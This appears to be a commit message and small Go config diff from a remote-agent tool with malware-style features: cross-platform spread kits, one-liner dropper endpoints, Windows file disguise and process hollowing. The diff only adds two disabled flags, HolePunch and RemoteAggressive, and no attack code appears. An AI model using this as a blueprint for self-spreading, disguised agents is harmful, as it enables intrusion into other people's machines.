Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/config/builtin.go

@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		ProcessHollowing:    false,
 		MeshP2P:             false,
 		AutoSpread:          false,
+		HolePunch:           false,
+		RemoteAggressive:    false,
 	}
 }